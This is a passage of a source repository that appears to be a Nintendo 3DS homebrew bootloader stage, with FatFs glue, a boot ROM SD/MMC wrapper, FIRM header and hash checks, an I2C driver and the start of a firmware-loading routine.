= CreateMutex(NULL, FALSE, NULL); 59 | return (int)(*sobj != INVALID_HANDLE_VALUE); 60 | 61 | /* uITRON */ 62 | // T_CSEM csem = {TA_TPRI,1,1}; 63 | // *sobj = acre_sem(&csem); 64 | // return (int)(*sobj > 0); 65 | 66 | /* uC/OS-II */ 67 | // OS_ERR err; 68 | // *sobj = OSMutexCreate(0, &err); 69 | // return (int)(err == OS_NO_ERR); 70 | 71 | /* FreeRTOS */ 72 | // *sobj = xSemaphoreCreateMutex(); 73 | // return (int)(*sobj != NULL); 74 | 75 | /* CMSIS-RTOS */ 76 | // *sobj = osMutexCreate(&Mutex[vol]); 77 | // return (int)(*sobj != NULL); 78 | } 79 | 80 | 81 | /*------------------------------------------------------------------------*/ 82 | /* Delete a Synchronization Object */ 83 | /*------------------------------------------------------------------------*/ 84 | /* This function is called in f_mount() function to delete a synchronization 85 | / object that created with ff_cre_syncobj() function. When a 0 is returned, 86 | / the f_mount() function fails with FR_INT_ERR. 87 | */ 88 | 89 | int ff_del_syncobj ( /* 1:Function succeeded, 0:Could not delete due to an error */ 90 | FF_SYNC_t sobj /* Sync object tied to the logical drive to be deleted */ 91 | ) 92 | { 93 | /* Win32 */ 94 | return (int)CloseHandle(sobj); 95 | 96 | /* uITRON */ 97 | // return (int)(del_sem(sobj) == E_OK); 98 | 99 | /* uC/OS-II */ 100 | // OS_ERR err; 101 | // OSMutexDel(sobj, OS_DEL_ALWAYS, &err); 102 | // return (int)(err == OS_NO_ERR); 103 | 104 | /* FreeRTOS */ 105 | // vSemaphoreDelete(sobj); 106 | // return 1; 107 | 108 | /* CMSIS-RTOS */ 109 | // return (int)(osMutexDelete(sobj) == osOK); 110 | } 111 | 112 | 113 | /*------------------------------------------------------------------------*/ 114 | /* Request Grant to Access the Volume */ 115 | /*------------------------------------------------------------------------*/ 116 | /* This function is called on entering file functions to lock the volume. 117 | / When a 0 is returned, the file function fails with FR_TIMEOUT. 118 | */ 119 | 120 | int ff_req_grant ( /* 1:Got a grant to access the volume, 0:Could not get a grant */ 121 | FF_SYNC_t sobj /* Sync object to wait */ 122 | ) 123 | { 124 | /* Win32 */ 125 | return (int)(WaitForSingleObject(sobj, FF_FS_TIMEOUT) == WAIT_OBJECT_0); 126 | 127 | /* uITRON */ 128 | // return (int)(wai_sem(sobj) == E_OK); 129 | 130 | /* uC/OS-II */ 131 | // OS_ERR err; 132 | // OSMutexPend(sobj, FF_FS_TIMEOUT, &err)); 133 | // return (int)(err == OS_NO_ERR); 134 | 135 | /* FreeRTOS */ 136 | // return (int)(xSemaphoreTake(sobj, FF_FS_TIMEOUT) == pdTRUE); 137 | 138 | /* CMSIS-RTOS */ 139 | // return (int)(osMutexWait(sobj, FF_FS_TIMEOUT) == osOK); 140 | } 141 | 142 | 143 | /*------------------------------------------------------------------------*/ 144 | /* Release Grant to Access the Volume */ 145 | /*------------------------------------------------------------------------*/ 146 | /* This function is called on leaving file functions to unlock the volume. 147 | */ 148 | 149 | void ff_rel_grant ( 150 | FF_SYNC_t sobj /* Sync object to be signaled */ 151 | ) 152 | { 153 | /* Win32 */ 154 | ReleaseMutex(sobj); 155 | 156 | /* uITRON */ 157 | // sig_sem(sobj); 158 | 159 | /* uC/OS-II */ 160 | // OSMutexPost(sobj); 161 | 162 | /* FreeRTOS */ 163 | // xSemaphoreGive(sobj); 164 | 165 | /* CMSIS-RTOS */ 166 | // osMutexRelease(sobj); 167 | } 168 | 169 | #endif 170 | 171 | -------------------------------------------------------------------------------- /stage2/arm9/source/fatfs/integer.h: -------------------------------------------------------------------------------- 1 | /*-------------------------------------------*/ 2 | /* Integer type definitions for FatFs module */ 3 | /*-------------------------------------------*/ 4 | 5 | #ifndef FF_INTEGER 6 | #define FF_INTEGER 7 | 8 | #ifdef _WIN32 /* FatFs development platform */ 9 | 10 | #include 11 | #include 12 | typedef unsigned __int64 QWORD; 13 | 14 | 15 | #else /* Embedded platform */ 16 | 17 | /* These types MUST be 16-bit or 32-bit */ 18 | typedef int INT; 19 | typedef unsigned int UINT; 20 | 21 | /* This type MUST be 8-bit */ 22 | typedef unsigned char BYTE; 23 | 24 | /* These types MUST be 16-bit */ 25 | typedef short SHORT; 26 | typedef unsigned short WORD; 27 | typedef unsigned short WCHAR; 28 | 29 | /* These types MUST be 32-bit */ 30 | typedef long LONG; 31 | typedef unsigned long DWORD; 32 | 33 | /* This type MUST be 64-bit (Remove this for ANSI C (C89) compatibility) */ 34 | typedef unsigned long long QWORD; 35 | 36 | #endif 37 | 38 | #endif 39 | -------------------------------------------------------------------------------- /stage2/arm9/source/fatfs/sdmmc/unprotboot9_sdmmc.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | #include "unprotboot9_sdmmc.h" 6 | 7 | s32 unprotboot9_sdmmc_initialize() 8 | { 9 | void (*funcptr_cleardtcm)() = (void*)0xffff01b0; 10 | void (*funcptr_boot9init)() = (void*)0xffff1ff9; 11 | s32 (*funcptr_mmcinit)() = (void*)0xffff56c9; 12 | 13 | *((u16*)0x10000020) |= 0x200;//If not set, the hardware will not detect any inserted card on the sdbus. 14 | *((u16*)0x10000020) &= ~0x1;//If set while bitmask 0x200 is set, a sdbus command timeout error will occur during sdbus init. 15 | 16 | funcptr_cleardtcm(); 17 | *((u32*)(0xfff0009c+0x1c)) = 1;//Initialize the sdmmc busid. 18 | 19 | funcptr_boot9init();//General boot9 init function. 20 | 21 | return funcptr_mmcinit(); 22 | } 23 | 24 | s32 unprotboot9_sdmmc_initdevice(unprotboot9_sdmmc_deviceid deviceid) 25 | { 26 | s32 (*funcptr)(u32) = (void*)0xffff5775; 27 | return funcptr(deviceid); 28 | } 29 | 30 | s32 unprotboot9_sdmmc_selectdevice(unprotboot9_sdmmc_deviceid deviceid) 31 | { 32 | s32 (*funcptr)(u32) = (void*)0xffff5c11; 33 | return funcptr(deviceid); 34 | } 35 | 36 | s32 unprotboot9_sdmmc_readrawsectors_setup(u32 sector, u32 numsectors, unprotboot9_sdmmc_sector_cb cb, unprotboot9_sdmmc_dma_prepare_cb dmaprep_cb, unprotboot9_sdmmc_dma_abort_cb dmaabt_cb) 37 | { 38 | u32 original_deviceid; 39 | s32 ret; 40 | s32 (*funcptr)(u32, u32) = (void*)0xffff2e39; 41 | 42 | original_deviceid = *(u32*)0xfff000bc; 43 | 44 | //The boot9 sector reading code calls the deviceselect code with deviceid=nand. Overwrite the current_deviceid value in memory with the nand value, so that the deviceselect function does nothing there. 45 | *(u32*)0xfff000bc = (u32)unprotboot9_sdmmc_deviceid_nand; 46 | 47 | //Prepare the arguments 48 | *(u32*)0xfff000a8 = (u32)dmaprep_cb; 49 | *(u32*)0xfff000ac = (u32)cb; 50 | *(u32*)0xfff000b0 = (u32)dmaabt_cb; 51 | //*0xfff000bc is 0 for Port1, 1 for Port3. BootROM always uses Port1. 52 | 53 | ret = funcptr(sector, numsectors); 54 | 55 | *(u32*)0xfff000bc = original_deviceid; 56 | return ret; 57 | } 58 | 59 | s32 unprotboot9_sdmmc_readrawsectors(u32 sector, u32 numsectors, void *buf) 60 | { 61 | //This mimics the function @ 0xffff55f8 62 | *(u32*)0xfff00198 = (u32)buf; 63 | return unprotboot9_sdmmc_readrawsectors_setup(sector, numsectors, (unprotboot9_sdmmc_sector_cb)0xffff3bd5, NULL, NULL); 64 | } 65 | -------------------------------------------------------------------------------- /stage2/arm9/source/fatfs/sdmmc/unprotboot9_sdmmc.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include "../../types.h" 4 | 5 | //These return 0 for success, non-zero for error. 6 | 7 | //Using this requires that the DTCM at 0xfff00000 is accessible. You can either disable MPU, or setup a MPU region for it. 8 | //Additionally, reading the NAND requires ITCM to be accessible at 0x07ff8000. 9 | 10 | typedef enum { 11 | unprotboot9_sdmmc_deviceid_sd = 0x200, 12 | unprotboot9_sdmmc_deviceid_nand = 0x201 13 | } unprotboot9_sdmmc_deviceid; 14 | 15 | typedef s32 (*unprotboot9_sdmmc_dma_prepare_cb)(u32 fifoAddr); 16 | typedef void (*unprotboot9_sdmmc_dma_abort_cb)(void); 17 | typedef s32 (*unprotboot9_sdmmc_sector_cb)(u32 fifoAddr); 18 | 19 | s32 unprotboot9_sdmmc_initialize(void);//This must be used first. 20 | s32 unprotboot9_sdmmc_initdevice(unprotboot9_sdmmc_deviceid deviceid);//This must be used before doing anything with the device. 21 | s32 unprotboot9_sdmmc_selectdevice(unprotboot9_sdmmc_deviceid deviceid);//Only use this if the device was already initialized, and if the device isn't already selected(the latter is checked for by the boot9 code anyway). 22 | 23 | //Sets up a raw sector read from the currently selected and previously initialized device (in a way you can use DMA). 24 | //If the callback is set, the read is interrupted every sector and you are supposed to empty the FIFO in less than 650ms 25 | s32 unprotboot9_sdmmc_readrawsectors_setup(u32 sector, u32 numsectors, unprotboot9_sdmmc_sector_cb cb, unprotboot9_sdmmc_dma_prepare_cb dmaprep_cb, unprotboot9_sdmmc_dma_abort_cb dmaabt_cb); 26 | 27 | //Read raw sectors using the CPU 28 | s32 unprotboot9_sdmmc_readrawsectors(u32 sector, u32 numsectors, void *buf); 29 | -------------------------------------------------------------------------------- /stage2/arm9/source/firm.c: -------------------------------------------------------------------------------- 1 | /* 2 | * This file is part of Luma3DS 3 | * Copyright (C) 2016 Aurora Wright, TuxSH 4 | * 5 | * This program is free software: you can redistribute it and/or modify 6 | * it under the terms of the GNU General Public License as published by 7 | * the Free Software Foundation, either version 3 of the License, or 8 | * (at your option) any later version. 9 | * 10 | * This program is distributed in the hope that it will be useful, 11 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | * GNU General Public License for more details. 14 | * 15 | * You should have received a copy of the GNU General Public License 16 | * along with this program. If not, see . 17 | * 18 | * Additional Terms 7.b of GPLv3 applies to this file: Requiring preservation of specified 19 | * reasonable legal notices or author attributions in that material or in the Appropriate Legal 20 | * Notices displayed by works containing it. 21 | */ 22 | 23 | #include "firm.h" 24 | #include "memory.h" 25 | #include "crypto.h" 26 | 27 | static __attribute__((noinline)) bool overlaps(u32 as, u32 ae, u32 bs, u32 be) 28 | { 29 | if(as <= bs && bs <= ae) 30 | return true; 31 | if(bs <= as && as <= be) 32 | return true; 33 | return false; 34 | } 35 | 36 | static __attribute__((noinline)) bool inRange(u32 as, u32 ae, u32 bs, u32 be) 37 | { 38 | if(as >= bs && ae <= be) 39 | return true; 40 | return false; 41 | } 42 | 43 | u32 checkFirmHeader(Firm *firmHeader, u32 firmBufferAddr, bool isPreLockout) 44 | { 45 | if(memcmp(firmHeader->magic, "FIRM", 4) != 0 || firmHeader->arm9Entry == NULL) //Allow for the ARM11 entrypoint to be zero in which case nothing is done on the ARM11 side 46 | return 0; 47 | 48 | bool arm9EpFound = false, 49 | arm11EpFound = false; 50 | 51 | u32 size = 0x200; 52 | for(u32 i = 0; i < 4; i++) 53 | size += firmHeader->section[i].size; 54 | 55 | for(u32 i = 0; i < 4; i++) 56 | { 57 | FirmSection *section = &firmHeader->section[i]; 58 | 59 | //Allow empty sections 60 | if(section->size == 0) 61 | continue; 62 | 63 | if((section->offset < 0x200) || 64 | (section->address + section->size < section->address) || //Overflow check 65 | ((u32)section->address & 3) || (section->offset & 0x1FF) || (section->size & 0x1FF) || //Alignment check 66 | (overlaps((u32)section->address, (u32)section->address + section->size, firmBufferAddr, firmBufferAddr + size)) || 67 | ((!inRange((u32)section->address, (u32)section->address + section->size, 0x08000000, 0x08000000 + 0x00100000)) && 68 | (!inRange((u32)section->address, (u32)section->address + section->size, 0x18000000, 0x18000000 + 0x00600000)) && 69 | (!inRange((u32)section->address, (u32)section->address + section->size, 0x1FF00000, 0x1FFFFC00)) && 70 | (!(!isPreLockout && inRange((u32)section->address, (u32)section->address + section->size, 0x20000000, 0x20000000 + 0x8000000))))) 71 | return 0; 72 | 73 | if(firmHeader->arm9Entry >= section->address && firmHeader->arm9Entry < (section->address + section->size)) 74 | arm9EpFound = true; 75 | 76 | if(firmHeader->arm11Entry >= section->address && firmHeader->arm11Entry < (section->address + section->size)) 77 | arm11EpFound = true; 78 | } 79 | 80 | return (arm9EpFound && (firmHeader->arm11Entry == NULL || arm11EpFound)) ? size : 0; 81 | } 82 | 83 | bool checkSectionHashes(Firm *firm) 84 | { 85 | for(u32 i = 0; i < 4; i++) 86 | { 87 | FirmSection *section = &firm->section[i]; 88 | 89 | if(section->size == 0) 90 | continue; 91 | 92 | __attribute__((aligned(4))) u8 hash[0x20]; 93 | 94 | // Tired sha_dma, it's only about the same speed 95 | sha(hash, (u8 *)firm + section->offset, section->size, SHA_256_MODE); 96 | 97 | if(memcmp(hash, section->hash, 0x20) != 0) 98 | return false; 99 | } 100 | 101 | return true; 102 | } 103 | -------------------------------------------------------------------------------- /stage2/arm9/source/firm.h: -------------------------------------------------------------------------------- 1 | /* 2 | * This file is part of Luma3DS 3 | * Copyright (C) 2016 Aurora Wright, TuxSH 4 | * 5 | * This program is free software: you can redistribute it and/or modify 6 | * it under the terms of the GNU General Public License as published by 7 | * the Free Software Foundation, either version 3 of the License, or 8 | * (at your option) any later version. 9 | * 10 | * This program is distributed in the hope that it will be useful, 11 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | * GNU General Public License for more details. 14 | * 15 | * You should have received a copy of the GNU General Public License 16 | * along with this program. If not, see . 17 | * 18 | * Additional Terms 7.b of GPLv3 applies to this file: Requiring preservation of specified 19 | * reasonable legal notices or author attributions in that material or in the Appropriate Legal 20 | * Notices displayed by works containing it. 21 | */ 22 | 23 | #pragma once 24 | 25 | #include "types.h" 26 | 27 | typedef struct 28 | { 29 | u32 offset; 30 | u8 *address; 31 | u32 size; 32 | u32 procType; 33 | u8 hash[0x20]; 34 | } FirmSection; 35 | 36 | typedef struct 37 | { 38 | char magic[4]; 39 | u32 reserved1; 40 | u8 *arm11Entry; 41 | u8 *arm9Entry; 42 | u8 reserved2[0x30]; 43 | FirmSection section[4]; 44 | } Firm; 45 | 46 | u32 checkFirmHeader(Firm *firmHeader, u32 firmBufferAddr, bool isPreLockout); 47 | bool checkSectionHashes(Firm *firm); 48 | -------------------------------------------------------------------------------- /stage2/arm9/source/fs.c: -------------------------------------------------------------------------------- 1 | /* 2 | * fs.c 3 | */ 4 | 5 | #include 6 | #include "fs.h" 7 | #include "fatfs/ff.h" 8 | 9 | static FATFS fs; 10 | static bool sdMounted = false, nandMounted = false; 11 | 12 | bool mountSd(void) 13 | { 14 | if (!sdMounted) 15 | sdMounted = f_mount(&fs, "0:", 1) == FR_OK; 16 | return sdMounted; 17 | } 18 | 19 | void unmountSd(void) 20 | { 21 | if (sdMounted) 22 | sdMounted = f_mount(NULL, "0:", 1) != FR_OK; 23 | } 24 | 25 | bool mountCtrNand(void) 26 | { 27 | if (!nandMounted) 28 | nandMounted = f_mount(&fs, "1:", 1) == FR_OK && f_chdrive("1:") == FR_OK; 29 | return nandMounted; 30 | } 31 | 32 | void unmountCtrNand(void) 33 | { 34 | if (nandMounted) 35 | nandMounted = f_mount(NULL, "1:", 1) != FR_OK; 36 | } 37 | 38 | u32 fileRead(void *dest, const char *path, u32 size, u32 maxSize) 39 | { 40 | FIL file; 41 | FRESULT result = FR_OK; 42 | u32 ret = 0; 43 | 44 | if(f_open(&file, path, FA_READ) != FR_OK) return ret; 45 | 46 | if(!size) size = f_size(&file); 47 | if(!maxSize || size <= maxSize) 48 | result = f_read(&file, dest, size, (unsigned int *)&ret); 49 | result |= f_close(&file); 50 | 51 | return result == FR_OK ? ret : 0; 52 | } 53 | 54 | bool fileWrite(const void *buffer, const char *path, u32 size) 55 | { 56 | FIL file; 57 | FRESULT result = FR_OK; 58 | 59 | switch(f_open(&file, path, FA_WRITE | FA_OPEN_ALWAYS)) 60 | { 61 | case FR_OK: 62 | { 63 | unsigned int written; 64 | result = f_write(&file, buffer, size, &written); 65 | if(result == FR_OK) result = f_truncate(&file); 66 | result |= f_close(&file); 67 | 68 | return result == FR_OK && (u32)written == size; 69 | } 70 | case FR_NO_PATH: 71 | for(u32 i = 1; path[i] != 0; i++) 72 | if(path[i] == '/') 73 | { 74 | char folder[i + 1]; 75 | memcpy(folder, path, i); 76 | folder[i] = 0; 77 | result = f_mkdir(folder); 78 | } 79 | 80 | return result == FR_OK && fileWrite(buffer, path, size); 81 | default: 82 | return false; 83 | } 84 | } 85 | -------------------------------------------------------------------------------- /stage2/arm9/source/fs.h: -------------------------------------------------------------------------------- 1 | /* 2 | * fs.h 3 | */ 4 | 5 | #pragma once 6 | 7 | #include "types.h" 8 | 9 | bool mountSd(void); 10 | void unmountSd(void); 11 | bool mountCtrNand(void); 12 | void unmountCtrNand(void); 13 | u32 fileRead(void *dest, const char *path, u32 size, u32 maxSize); 14 | bool fileWrite(const void *buffer, const char *path, u32 size); 15 | -------------------------------------------------------------------------------- /stage2/arm9/source/i2c.c: -------------------------------------------------------------------------------- 1 | /* 2 | * This file is part of fastboot 3DS 3 | * Copyright (C) 2017 derrek, profi200 4 | * 5 | * This program is free software: you can redistribute it and/or modify 6 | * it under the terms of the GNU General Public License as published by 7 | * the Free Software Foundation, either version 3 of the License, or 8 | * (at your option) any later version. 9 | * 10 | * This program is distributed in the hope that it will be useful, 11 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | * GNU General Public License for more details. 14 | * 15 | * You should have received a copy of the GNU General Public License 16 | * along with this program. If not, see . 17 | */ 18 | 19 | #include 20 | #include "types.h" 21 | #include "i2c.h" 22 | 23 | 24 | #define I2C1_REGS_BASE (0x10161000) 25 | 26 | #define I2C2_REGS_BASE (0x10144000) 27 | 28 | #define I2C3_REGS_BASE (0x10148000) 29 | 30 | 31 | typedef struct 32 | { 33 | vu8 REG_I2C_DATA; 34 | vu8 REG_I2C_CNT; 35 | vu16 REG_I2C_CNTEX; 36 | vu16 REG_I2C_SCL; 37 | } I2cRegs; 38 | 39 | static const struct 40 | { 41 | u8 busId; 42 | u8 devAddr; 43 | } i2cDevTable[] = 44 | { 45 | {0, 0x4A}, 46 | {0, 0x7A}, 47 | {0, 0x78}, 48 | {1, 0x4A}, 49 | {1, 0x78}, 50 | {1, 0x2C}, 51 | {1, 0x2E}, 52 | {1, 0x40}, 53 | {1, 0x44}, 54 | {2, 0xA6}, // TODO: Find out if 0xA6 or 0xD6 is correct 55 | {2, 0xD0}, 56 | {2, 0xD2}, 57 | {2, 0xA4}, 58 | {2, 0x9A}, 59 | {2, 0xA0}, 60 | {1, 0xEE}, 61 | {0, 0x40}, 62 | {2, 0x54} 63 | }; 64 | 65 | 66 | 67 | static void i2cWaitBusy(I2cRegs *const regs) 68 | { 69 | while(regs->REG_I2C_CNT & I2C_ENABLE); 70 | } 71 | 72 | static I2cRegs* i2cGetBusRegsBase(u8 busId) 73 | { 74 | I2cRegs *base; 75 | switch(busId) 76 | { 77 | case 0: 78 | base = (I2cRegs*)I2C1_REGS_BASE; 79 | break; 80 | case 1: 81 | base = (I2cRegs*)I2C2_REGS_BASE; 82 | break; 83 | case 2: 84 | base = (I2cRegs*)I2C3_REGS_BASE; 85 | break; 86 | default: 87 | base = NULL; 88 | } 89 | 90 | return base; 91 | } 92 | 93 | void I2C_init(void) 94 | { 95 | I2cRegs *regs = i2cGetBusRegsBase(0); // Bus 1 96 | i2cWaitBusy(regs); 97 | regs->REG_I2C_CNTEX = 2; // ? 98 | regs->REG_I2C_SCL = 1280; // ? 99 | 100 | regs = i2cGetBusRegsBase(1); // Bus 2 101 | i2cWaitBusy(regs); 102 | regs->REG_I2C_CNTEX = 2; // ? 103 | regs->REG_I2C_SCL = 1280; // ? 104 | 105 | regs = i2cGetBusRegsBase(2); // Bus 3 106 | i2cWaitBusy(regs); 107 | regs->REG_I2C_CNTEX = 2; // ? 108 | regs->REG_I2C_SCL = 1280; // ? 109 | } 110 | 111 | static bool i2cStartTransfer(I2cDevice devId, u8 regAddr, bool read, I2cRegs *const regs) 112 | { 113 | const u8 devAddr = i2cDevTable[devId].devAddr; 114 | 115 | 116 | u32 i = 0; 117 | for(; i < 8; i++) 118 | { 119 | i2cWaitBusy(regs); 120 | 121 | // Select device and start. 122 | regs->REG_I2C_DATA = devAddr; 123 | regs->REG_I2C_CNT = I2C_ENABLE | I2C_IRQ_ENABLE | I2C_START; 124 | i2cWaitBusy(regs); 125 | if(!I2C_GET_ACK(regs->REG_I2C_CNT)) // If ack flag is 0 it failed. 126 | { 127 | regs->REG_I2C_CNT = I2C_ENABLE | I2C_IRQ_ENABLE | I2C_ERROR | I2C_STOP; 128 | continue; 129 | } 130 | 131 | // Select register and change direction to write. 132 | regs->REG_I2C_DATA = regAddr; 133 | regs->REG_I2C_CNT = I2C_ENABLE | I2C_IRQ_ENABLE | I2C_DIRE_WRITE; 134 | i2cWaitBusy(regs); 135 | if(!I2C_GET_ACK(regs->REG_I2C_CNT)) // If ack flag is 0 it failed. 136 | { 137 | regs->REG_I2C_CNT = I2C_ENABLE | I2C_IRQ_ENABLE | I2C_ERROR | I2C_STOP; 138 | continue; 139 | } 140 | 141 | // Select device in read mode for read transfer. 142 | if(read) 143 | { 144 | regs->REG_I2C_DATA = devAddr | 1u; // Set bit 0 for read. 145 | regs->REG_I2C_CNT = I2C_ENABLE | I2C_IRQ_ENABLE | I2C_START; 146 | i2cWaitBusy(regs); 147 | if(!I2C_GET_ACK(regs->REG_I2C_CNT)) // If ack flag is 0 it failed. 148 | { 149 | regs->REG_I2C_CNT = I2C_ENABLE | I2C_IRQ_ENABLE | I2C_ERROR | I2C_STOP; 150 | continue; 151 | } 152 | } 153 | 154 | break; 155 | } 156 | 157 | if(i < 8) return true; 158 | else return false; 159 | } 160 | 161 | bool I2C_readRegBuf(I2cDevice devId, u8 regAddr, u8 *out, u32 size) 162 | { 163 | const u8 busId = i2cDevTable[devId].busId; 164 | I2cRegs *const regs = i2cGetBusRegsBase(busId); 165 | 166 | 167 | if(!i2cStartTransfer(devId, regAddr, true, regs)) return false; 168 | 169 | while(--size) 170 | { 171 | regs->REG_I2C_CNT = I2C_ENABLE | I2C_IRQ_ENABLE | I2C_DIRE_READ | I2C_ACK; 172 | i2cWaitBusy(regs); 173 | *out++ = regs->REG_I2C_DATA; 174 | } 175 | 176 | regs->REG_I2C_CNT = I2C_ENABLE | I2C_IRQ_ENABLE | I2C_DIRE_READ | I2C_STOP; 177 | i2cWaitBusy(regs); 178 | *out = regs->REG_I2C_DATA; // Last byte 179 | 180 | return true; 181 | } 182 | 183 | bool I2C_writeRegBuf(I2cDevice devId, u8 regAddr, const u8 *in, u32 size) 184 | { 185 | const u8 busId = i2cDevTable[devId].busId; 186 | I2cRegs *const regs = i2cGetBusRegsBase(busId); 187 | 188 | 189 | if(!i2cStartTransfer(devId, regAddr, false, regs)) return false; 190 | 191 | while(--size) 192 | { 193 | regs->REG_I2C_DATA = *in++; 194 | regs->REG_I2C_CNT = I2C_ENABLE | I2C_IRQ_ENABLE | I2C_DIRE_WRITE; 195 | i2cWaitBusy(regs); 196 | if(!I2C_GET_ACK(regs->REG_I2C_CNT)) // If ack flag is 0 it failed. 197 | { 198 | regs->REG_I2C_CNT = I2C_ENABLE | I2C_IRQ_ENABLE | I2C_ERROR | I2C_STOP; 199 | return false; 200 | } 201 | } 202 | 203 | regs->REG_I2C_DATA = *in; 204 | regs->REG_I2C_CNT = I2C_ENABLE | I2C_IRQ_ENABLE | I2C_DIRE_WRITE | I2C_STOP; 205 | i2cWaitBusy(regs); 206 | if(!I2C_GET_ACK(regs->REG_I2C_CNT)) // If ack flag is 0 it failed. 207 | { 208 | regs->REG_I2C_CNT = I2C_ENABLE | I2C_IRQ_ENABLE | I2C_ERROR | I2C_STOP; 209 | return false; 210 | } 211 | 212 | return true; 213 | } 214 | 215 | u8 I2C_readReg(I2cDevice devId, u8 regAddr) 216 | { 217 | u8 data; 218 | if(!I2C_readRegBuf(devId, regAddr, &data, 1)) return 0xFF; 219 | return data; 220 | } 221 | 222 | bool I2C_writeReg(I2cDevice devId, u8 regAddr, u8 data) 223 | { 224 | return I2C_writeRegBuf(devId, regAddr, &data, 1); 225 | } 226 | -------------------------------------------------------------------------------- /stage2/arm9/source/i2c.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | /* 4 | * This file is part of fastboot 3DS 5 | * Copyright (C) 2017 derrek, profi200 6 | * 7 | * This program is free software: you can redistribute it and/or modify 8 | * it under the terms of the GNU General Public License as published by 9 | * the Free Software Foundation, either version 3 of the License, or 10 | * (at your option) any later version. 11 | * 12 | * This program is distributed in the hope that it will be useful, 13 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 14 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 15 | * GNU General Public License for more details. 16 | * 17 | * You should have received a copy of the GNU General Public License 18 | * along with this program. If not, see . 19 | */ 20 | 21 | #include 22 | #include "types.h" 23 | 24 | 25 | #define I2C_STOP (1u) 26 | #define I2C_START (1u<<1) 27 | #define I2C_ERROR (1u<<2) 28 | #define I2C_ACK (1u<<4) 29 | #define I2C_DIRE_WRITE (0u) 30 | #define I2C_DIRE_READ (1u<<5) 31 | #define I2C_IRQ_ENABLE (1u<<6) 32 | #define I2C_ENABLE (1u<<7) 33 | 34 | #define I2C_GET_ACK(reg) ((bool)((reg)>>4 & 1u)) 35 | 36 | 37 | typedef enum 38 | { 39 | I2C_DEV_POWER = 0, // Unconfirmed 40 | I2C_DEV_CAMERA = 1, // Unconfirmed 41 | I2C_DEV_CAMERA2 = 2, // Unconfirmed 42 | I2C_DEV_MCU = 3, 43 | I2C_DEV_GYRO = 10, 44 | I2C_DEV_DEBUG_PAD = 12, 45 | I2C_DEV_IR = 13, 46 | I2C_DEV_EEPROM = 14, // Unconfirmed 47 | I2C_DEV_NFC = 15, 48 | I2C_DEV_QTM = 16, 49 | I2C_DEV_N3DS_HID = 17 50 | } I2cDevice; 51 | 52 | 53 | 54 | /** 55 | * @brief Initializes the I2C buses. Call this only once. 56 | */ 57 | void I2C_init(void); 58 | 59 | /** 60 | * @brief Reads data from a I2C register to a buffer. 61 | * 62 | * @param[in] devId The device ID. Use the enum above. 63 | * @param[in] regAddr The register address. 64 | * @param out The output buffer pointer. 65 | * @param[in] size The read size. 66 | * 67 | * @return Returns true on success and false on failure. 68 | */ 69 | bool I2C_readRegBuf(I2cDevice devId, u8 regAddr, u8 *out, u32 size); 70 | 71 | /** 72 | * @brief Writes a buffer to a I2C register. 73 | * 74 | * @param[in] devId The device ID. Use the enum above. 75 | * @param[in] regAddr The register address. 76 | * @param[in] in The input buffer pointer. 77 | * @param[in] size The write size. 78 | * 79 | * @return Returns true on success and false on failure. 80 | */ 81 | bool I2C_writeRegBuf(I2cDevice devId, u8 regAddr, const u8 *in, u32 size); 82 | 83 | /** 84 | * @brief Reads a byte from a I2C register. 85 | * 86 | * @param[in] devId The device ID. Use the enum above. 87 | * @param[in] regAddr The register address. 88 | * 89 | * @return Returns the value read on success otherwise 0xFF. 90 | */ 91 | u8 I2C_readReg(I2cDevice devId, u8 regAddr); 92 | 93 | /** 94 | * @brief Writes a byte to a I2C register. 95 | * 96 | * @param[in] devId The device ID. Use the enum above. 97 | * @param[in] regAddr The register address. 98 | * @param[in] data The data to write. 99 | * 100 | * @return Returns true on success and false on failure. 101 | */ 102 | bool I2C_writeReg(I2cDevice devId, u8 regAddr, u8 data); 103 | -------------------------------------------------------------------------------- /stage2/arm9/source/main.c: -------------------------------------------------------------------------------- 1 | /* 2 | * main.c 3 | */ 4 | 5 | #include 6 | 7 | #include "types.h" 8 | #include "crypto.h" 9 | #include "i2c.h" 10 | #include "fs.h" 11 | #include "firm.h" 12 | #include "utils.h" 13 | #include "buttons.h" 14 | #include "fatfs/sdmmc/unprotboot9_sdmmc.h" 15 | #include "ndma.h" 16 | #include "cache.h" 17 | 18 | #include "chainloader.h" 19 | 20 | typedef enum FirmLoadStatus { 21 | FIRM_LOAD_OK = 0, 22 | FIRM_LOAD_CANT_READ, // can't mount, file missing or empty 23 | FIRM_LOAD_CORRUPT, 24 | } FirmLoadStatus; 25 | 26 | static volatile Arm11Operation *operation = (volatile Arm11Operation *)0x1FF80204; 27 | extern u8 __itcm_start__[], __itcm_lma__[], __itcm_bss_start__[], __itcm_end__[]; 28 | 29 | static void invokeArm11Function(Arm11Operation op) 30 | { 31 | while(*operation != ARM11_READY); 32 | *operation = op; 33 | while(*operation != ARM11_READY); 34 | } 35 | 36 | static FirmLoadStatus loadFirm(Firm **outFirm) 37 | { 38 | static const char *firmName = "boot.firm"; 39 | Firm *firmHeader = (Firm *)0x080A0000; 40 | u32 rd = fileRead(firmHeader, firmName, 0x200, 0); 41 | if (rd != 0x200) 42 | return rd == 0 ? FIRM_LOAD_CANT_READ : FIRM_LOAD_CORRUPT; 43 | 44 | bool isPreLockout = ((firmHeader->reserved2[0] & 2) != 0); 45 | if ((CFG9_SYSPROT9 & 1) != 0 || (CFG9_SYSPROT11 & 1) != 0) 46 | isPreLockout = false; 47 | Firm *firm; 48 | u32 maxFirmSize; 49 | 50 | if(!isPreLockout) 51 | { 52 | //Lockout 53 | while(!(CFG9_SYSPROT9 & 1)) CFG9_SYSPROT9 |= 1; 54 | while(!(CFG9_SYSPROT11 & 1)) CFG9_SYSPROT11 |= 1; 55 | invokeArm11Function(WAIT_BOOTROM11_LOCKED); 56 | 57 | firm = (Firm *)0x20001000; 58 | maxFirmSize = 0x07FFF000; //around 127MB (although we don't enable ext FCRAM on N3DS, beware!) 59 | } 60 | else 